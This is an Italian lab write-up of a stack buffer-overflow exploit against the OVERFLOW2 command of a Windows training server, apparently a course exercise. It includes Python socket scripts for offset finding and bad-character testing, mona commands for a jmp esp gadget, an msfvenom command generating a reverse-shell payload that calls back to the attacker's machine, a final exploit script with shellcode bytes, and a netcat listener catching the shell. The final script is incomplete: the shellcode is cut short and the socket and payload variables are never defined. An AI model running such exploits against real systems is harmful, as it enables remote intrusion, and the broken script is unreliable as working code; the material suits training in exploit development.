

Traccia Extra 2 - Cracking di un buffer overflow

Il secondo esercizio extra richiede, seguendo i passaggi mostrati nell'esecuzione del crack di **OVERFLOW1** su **OSCP**, di **crackare OVERFLOW2**

Nel nostro laboratorio virtuale, costituito da una **Kali Linux** e una **Windows 10** pro Metasploitable, in rete interna con **IPv4** rispettivamente 192.168.10.10 e 192.168.10.12, andiamo ad avviare il server **OSCP** attraverso ImmunityDebugger.

Il programma va in **crash**, ma come si può vedere dallo screen seguente, **l'EIP**, ovvero l'indirizzo di ritorno, non viene sovrascritto come ci si aspetterebbe con **414141**.

```

```

Come si può vedere abbiamo **sovrascritto** l'indirizzo di ritorno EIP con una parte della nostra stringa, e possiamo anche vedere dove punta l'ESP, abbiamo quindi ottenuto l'offset di entrambi.

Adessi quindi devo **convertire** l'esadecimale del valore dell'EIP in ASCII

```
>>> import struct
>>> struct.pack("<I",0x76413176)
b'v1Av'
```

Quindi uso il tool di Metasploit pattern_offset.rb, vado a calcolare l'effettivo offset dei due puntatori.

```
(kali@kali)-[~]
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q v1Av
[*] Exact match at offset 634

(kali@kali)-[~]
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 2Av3
[*] Exact match at offset 638
```

Quindi i miei offset sono **634** per l'EIP e 638 per ESP. A questo punto quindi creo uno script per fare un'iniezione di verifica (Proof of Concept), dove inietterò 634 caratteri "**A**" (l'offset dell'EIP), 4 caratteri "**B**" (sovrascrittura dell'EIP), e 16 caratteri "**C**" (puntamento dell'ESP).

```
import socket
ip = "192.168.10.12"
port = 1337
timeout = 5
payload = b'A'*634 + b'\x42\x42\x42\x42' + b'C' * 16
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
con = s.connect((ip, port))
s.recv(1024)
s.send(b"OVERFLOW2 " + payload)
s.recv(1024)
s.close()
```

Lanciando questo script, **Immunity Debugger** ci mostra che la nostra prova ha avuto successo.

Implemento quindi lo script **Python** in modo che mandi dopo l'ESP tutti i possibili byte meno quelli indicati, analogamente a come fatto per OVERFLOW1.

```
import socket
ip = "192.168.10.12"
port = 1337
timeout = 5
ignore_chars = [b"\x00"]
badchars_bytes = b""
for i in range(256):
    char_byte = bytes([i])
```

```
    if char_byte not in ignore_chars:
        badchars_bytes += char_byte
offset_eip = 634
eip_placeholder = b"BBBB"
payload = b"A" * offset_eip + eip_placeholder + badchars_bytes
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
con = s.connect(("192.168.10.12", 1337))
s.recv(1024)
s.send(b"OVERFLOW2 " + payload)
s.recv(1024)
s.close()
```

Questo script quindi quando eseguito scrive nella memoria puntata dall'ESP la nostra stringa con tutti i byte possibili meno quelli indicati in **ignore_chars**.

Lanciato lo script, usiamo il comando **!mona compare -f C:\mona\oscp\bytearray.bin -a esp** andiamo quindi a fare un controllo incrociato tra la tabella prima generata con mona (che contiene tutti i byte meno i bad chars) e l'effettivo contenuto dell'indirizzo a cui punta ESP.

Questo ci restituisce un riepilogo dei caratteri **bad chars**, controllando se i byte presenti nella tabella di riferimento sono presenti nella memoria puntata da ESP.

Siccome spesso un bad char corrompe anche il carattere successivo, dobbiamo **iterare** il processo per ognuno dei primi caratteri trovati dopo quelli già noti ad ogni iterazione, quindi nel nostro caso iniziando con il **rimuovere** dallo script e dalla tabella di riferimento il **byte \x23**, e continuare poi con **\x3c** e così via.

Iterando il passaggio, vediamo che i bad chars sono: \x00, \x23, \x3c, \x83, \xba. Lo andiamo a provare **rimuovendo** tali caratteri sia dalla tabella di riferimento generata con Mona, sia dal payload inviato con lo script Python, e ottenendo con il compare di Mona una tabella che ha la colonna BadChars **vuota**.

Vado quindi a cercare con Mona un “**gadget**”, ovvero un'istruzione all'interno del programma, che esegua **jmp esp**, che non abbia **ASLR** (randomizzatore di memoria) attivo e non contenga bad chars. Cerco questo gadget con il comando **!mona jmp -r esp -cpb "\x00\x23\x3c\x83\xba"**

Scelgo **0x625011bb** per il mio exploit.

Adesso che ho tutte le informazioni necessarie, si può generare lo shellcode con **MSFVenom** e modificare e implementare lo script Python per iniettarlo.

Con MSFVenom generiamo uno shellcode che non contenga i bad chars e che sia già formattato per Python con il comando msfvenom

**-p windows/shell_reverse_tcp LHOST=192.168.10.10 LPORT=1234
EXITFUNC=thread -b "\x00\x23\x3c\x83\xba" -f python**

```
(kali@kali)-[~]
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.10.10 LPORT=1234 EXITFUNC=thread -b "\x00\x23\x3c\x83\xba" -f python

```

Si può quindi implementare lo script **Python** come segue.

```
import socket
import struct
ip = "192.168.10.12"
port = 1337
timeout = 5
padding = b"A" * 634
eip = struct.pack('<I', 0x625011bb)
nops = b"\x90" * 32
buf = b""
buf += b"\xfc\xbb\x9d\xc6\xab\x9a\xeb\x0c\x5e\x56\x31\x1e"
buf += b"\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff"
buf += b"\xff\x61\x2e\x29\x9a\x99\xaf\x4e\x12\x7c\x9e\x4e"
buf += b"\x40\xf5\xb1\x7e\x02\x5b\x3e\xf4\x46\x4f\xb5\x78"
buf += b"\x4f\x60\x7e\x36\xa9\x4f\x7f\x6b\x89\xce\x03\x76"
buf += b"\xde\x30\x3d\xb9\x13\x31\x7a\xa4\xde\x63\xd3\xa2"

con = s.connect(("192.168.10.12", 1337))
s.recv(1024)
s.send(b"OVERFLOW2 " + payload)
s.recv(1024)
s.close()
```

Con **NetCat** ci si mette in ascolto sulla porta **1234**, e una volta eseguito lo script si ottiene la shell della macchina target. A titolo di esempio si è eseguito un comando **ipconfig**.

```
(kali㉿kali)-[~]
└─$ sudo nc -nvlp 1234
[sudo] password for kali:
listening on [any] 1234 ...
connect to [192.168.10.10] from (UNKNOWN) [192.168.10.12] 49452
Microsoft Windows [Versione 10.0.10240]
